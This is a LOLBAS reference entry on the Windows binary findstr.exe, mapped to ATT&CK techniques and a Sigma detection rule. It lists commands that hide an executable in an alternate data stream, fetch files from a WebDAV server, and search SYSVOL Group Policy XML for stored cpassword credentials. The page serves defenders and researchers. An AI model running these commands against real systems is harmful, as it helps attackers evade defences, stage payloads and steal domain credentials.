.. /Findstr.exe

Alternate data streams | Credentials | Download

Write to ADS, discover, or download files with Findstr.exe

Paths:
C:\Windows\System32\findstr.exe
C:\Windows\SysWOW64\findstr.exe

Resources:
- https://oddvar.moe/2018/04/11/putting-data-in-alternate-data-streams-and-how-to-execute-it-part-2/
- https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f

Acknowledgements:
- Oddvar Moe (@oddvarmoe)

Detections:
- Sigma: https://github.com/SigmaHQ/sigma/blob/c04bef2fbbe8beff6c7620d5d7ea6872dbe7acba/rules/windows/process_creation/proc_creation_win_lolbin_findstr.yml

Alternate data streams

. Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

```
findstr /V /L W3AllLov3LolBas c:\ADS\file.exe > c:\ADS\file.txt:file.exe
```

Use case: Add a file to an alternate data stream to hide from defensive counter measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1564.004

. Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.

```
findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.txt:file.exe
```

Use case: Add a file to an alternate data stream from a webdav server to hide from defensive counter measures
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1564.004

Credentials

Search for stored password in Group Policy files stored on SYSVOL.

```
findstr /S /I cpassword \\sysvol\policies\*.xml
```

Use case: Find credentials stored in cpassword attrbute
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1552.001

Download

Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.

```
findstr /V /L W3AllLov3LolBas \\webdavserver\folder\file.exe > c:\ADS\file.exe
```

Use case: Download/Copy file from webdav server
Privileges required: User
Operating systems: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK® technique: T1105